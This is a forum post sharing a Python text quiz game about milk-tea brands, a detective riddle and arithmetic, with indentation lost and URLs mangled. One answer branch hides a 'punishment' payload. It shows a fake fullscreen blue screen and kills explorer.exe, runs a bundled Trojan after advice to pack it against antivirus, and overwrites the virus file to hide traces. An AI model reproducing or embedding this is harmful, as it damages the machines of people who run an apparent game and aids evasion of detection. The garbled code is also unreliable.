用户:xAkidx查看:0 回复:2 评论:0 创建时间:2021-08-22T10:34:15
#English version#
from subprocess import run # Command execution module
import tkinter as tk # Note to py Xiaobai: don't forget to call Tkinter
import hashlib
import os
import random
import time
import webbrowser
import random
miusic = [0,0,0,0]
f = 0
print(' Sprint,python')
print('This game is written by lucky.bear. There is no partner for the time being')
time.sleep(2)
print('This version is a beta version. If you have any intention to cooperate, please contact the author')
time.sleep(2)
print('Please allow the author meow to play background music:)')
print('Press the - key when entering the interface')
time.sleep(5)
webbrowser.open('https:/。喵#/outchain/2/1869444319/')
time.sleep(7)
print('Part of the code takes some published works of Python paradise')
time.sleep(1)
print('If copyright is involved, please contact the author at the first time and funds will be given to the adoptee')
time.sleep(4)
print(' Start to break through!!! Good luck!!!')
time.sleep(2)
print('First level sprint, milk tea')
print('[play method] guess the milk tea that the author meow likes to drink, and you can go to the next level!')
print('The author meow 喵iled unkindly')
time.sleep(2)
print('There is only one chance in each game!!')
print("[note] fixed format and name of some brand names:", "\n", 'ps:Sort before and after',
'\n', "CoCo 蜜雪冰城 喜茶 书亦烧香喵 茶颜悦色", '\n', '奈雪的茶 一点点 古茗 天然呆 ')
a = input("Please enter the brand of milk tea you think the author likes to drink:")
if a == "喜茶":
webbrowser.open('https:/。/www.heytea.com/')
print('Confirmed that he is a rich man')
b = input(
"Since you have so much money, can you connect three times with one key (enter yes or no)")
if b == "OK":
print('Hurry up, meow!')
else:
print('EMM, the author is giving you one last chance, meow!')
time.sleep(2)
b = input("Since you have so much money, can you connect three times with one key (enter yes or no)")
if b == "OK":
print('Hurry up, meow!')
else:
print('Face the wind!!!')
time.sleep(1)
print('Give you 3 seconds to stop the program, otherwise, meow! Meow! Meow!')
time.sleep(1)
print('3 [statement] the author and his collaborators shall not be liable for any property damage')
time.sleep(1)
print('2 [statement] in case of property loss, it is personal improper operation')
time.sleep(1)
print("1 [statement] if you are surprised, please don't go to the comment area")
time.sleep(1)
print("The young man is very brave. Let's start receiving punishment!!!", '\n', "It's time to say goodbye to your computer!")
#The virus is only for reference and should not be used for illegal purposes
#I am not responsible for all losses caused by this virus.
def bluescreen():
root = tk.Tk() #window
root.attributes('-fullscreen', True) # Full screen
root.wm_attributes('-topmost', True) # Overhead
frame = tk.Frame(root, bg='darkblue') # Set color
frame.pack(fill='both', expand=True)
return root
def close_explorer():
# Terminate the resource manager process
run('taskkill /F /IM explorer.exe')
if __name__ == '__main__': # Main function
root = bluescreen()
close_explorer()
root.mainloop() # loop
#The blue screen interface is roughly completed. You can add modules to make it more realistic
#Now, let's let the horse go
#Before that, please note: Please shell the great white shark and avoid killing it, so as not to be killed before the virus is executed
#OK, you just need to put the great white shark's Trojan horse into this folder.
#OS. Getcwd() get the current path
# the name of the great white shark Trojan horse. Here is abc.exe
run(OS. Getcwd() + "ABC. Exe")
#The virus is almost over. Finally, we have to do one thing: seal the virus so that it can't find the source
#I use binary encryption method. After encryption, the program fails and the source disappears, that is, killing software can't find the virus signature. You won't reveal your whereabouts
filename = 'bd.exe' # virus filename
def get_sha1(f):
xd = open(filename, 'rb').read() # Open by reading binary
gys = xd
sha1 = hashlib.sha1(gys) # encryption
osv = sha1.hexdigest()
print(osv)
bx = bytes(osv, encoding='utf-8') # Conversion type
with open(filename, 'wb') as f: # Open as binary write type
f.write(bx) # write file
get_sha1('')
# In this way, the virus will be encrypted, the software will not find the source, and our whereabouts will be hidden.
elif a == "CoCo":
webbrowser.open('http:/。/www.coco-teajm.cn/')
print('The author meow said that TA often drinks too! PS: the author usually drinks pearl milk tea')
time.sleep(1)
print('But this is not what the author likes')
elif a == "奈雪的茶":
webbrowser.open('https:/。/www.naixue.com/')
print("The author hasn't 喵 it!")
elif a == "书亦烧仙喵":
webbrowser.open('http:/。/www.sysxcgw.cn/')
print("You only used one chance, the answer is right!!!",
'\n', "The author likes this shop very much")
game_1 = input('Whether to proceed to the next level:')
if game_1 == "yes":
print('Congratulations on promotion!!!')
print('The game of this bureau is attack, detective')
print('ps:In this game, you will play a detective')
print('are you ready?')
time.sleep(3)
print('Go')
g = input("Please enter your nickname:")
time.sleep(0.5)
print("Hello", g, "detective")
print("Not long ago, you solved Xiaoming's 喵 case. The police gave you a lot of bonuses, but soon a bank was robbed")
time.sleep(2)
print('At that time, the bank was on vacation and the doors were locked, but the thief knocked on the door. Afterwards, the police found footprints in the bank and a motorcycle outside the door. The police found three suspects')
time.sleep(5)
print('They are: Xiaoxiao, naughty and Qisi')
time.sleep(1)
print('the police questioned them, '
"喵ile and say: I'm a valet driver. The customer's privacy is above all else. I can only tell you that the customer asked me to ride the motorcycle, so I came. "
"Naughty said: I just went shopping and saw a man knocking on the door of the bank."
"Keith said: I was going to withdraw money, but I left on bank leave."
"Jiaqi said: I saw that the thieves looked similar to Keith and Xiaoxiao. The police caught them quickly."
"PS: Jiaqi is a party at the scene and does not rule out the possibility of being a thief")
time.sleep(5)
print(g, 'Can you find the thief')
k=input("Please enter your answer:")
if k == "Naughty":
print('You deserve it. Congratulations on passing the customs!')
for i in range(100):
print('Entering the third level:', i, '%')
print(' Welcome to the world of mathematics. Py')
time.sleep(1)
print("In this level, the difficulty is upgraded. If you don't pay attention, you will die")
print("ps:This level requires addition, subtraction, multiplication and division and character conversion in grade 3 of primary school and python!!!")
time.sleep(3)
print('No more nonsense', g, "Let's go!")
time.sleep(1)
#还需编写数学题目!
math_1 = int(input('(1)1+10*9/9+4='))
if math_1 == 15:
print('Correct answer')
math_2=int(input('(2)20*8='))
if math_2 == 160:
print('Correct answer')
time.sleep(3)
print("Wait, you think it's that simple???")
time.sleep(1)
print("You think so. You think it's really what you think?")
time.sleep(1)
for i in range(100):
print('Congratulations on customs clearance! Loading the fourth level for you:', i, "%")
time.sleep(5)
print('feel surprised? feel off-guard?')
else:
print('Wrong answer. Go back and rebuild')
else:
print('Wrong answer. Go back and rebuild')
else:
print('Unfortunately, you answered wrong. The correct answer is naughty! Jiaqi is blind!!!')
else:
print('You have quit the game')
elif a == "蜜雪冰城":
webbrowser.open('http:/。/www.cs0571.com/')
webbrowser.open('https:/。喵#/outchain/2/1855080368/')
print('I love you you love me Mixue ice cream tea')
print("It's a pity that I didn't get the answer right")
elif a == "茶颜悦色":
webbrowser.open('http:/。/www.cyysncjm.com/')
print("The author has 喵 it once so far. Tea tastes very strong")
elif a == '天然呆':
webbrowser.open('https:/。/isite.喵/site/trdtea.com/6e13aee7-喵83-4d92-87ae-775b5e0f3282?fid=nHm4nWD3nHc4rjfvnWcdnj0zP17xnWcdg1D&ch=4&bfid=fbuFw0cKoYbD0D7Ud8C00rD00fZDsSfKLZODuf_000jqMXq5rs000K00TsD21r1c8eHY8IMPSaA4vnOS1p36yt1_zQ8YqnHn_89IcavOJogJ8_OgqqgS_VqDgJ_c&bd_vid=8432086263429461918')
print("The author Da Da is in Wuhan. It seems that he hasn't opened here yet?")
elif a == '古茗':
webbrowser.open('http:/。/www.gumingnaic.cn/')
d=input("The author meow hasn't 喵. What kind of store is this? Describe it:")
print(d, ",Well, I'm going to taste it!")
elif a == "一点点":
webbrowser.open('https:/。/www.alittle-tea.com/')
print("The author meow said he didn't remember drinking")
else:
print("Failed to break through, this is not the author's favorite milk tea!")
print("The author hasn't 喵 it!, If there are more delicious milk tea, please tell the author meow in the comment area!")
print(" It's over")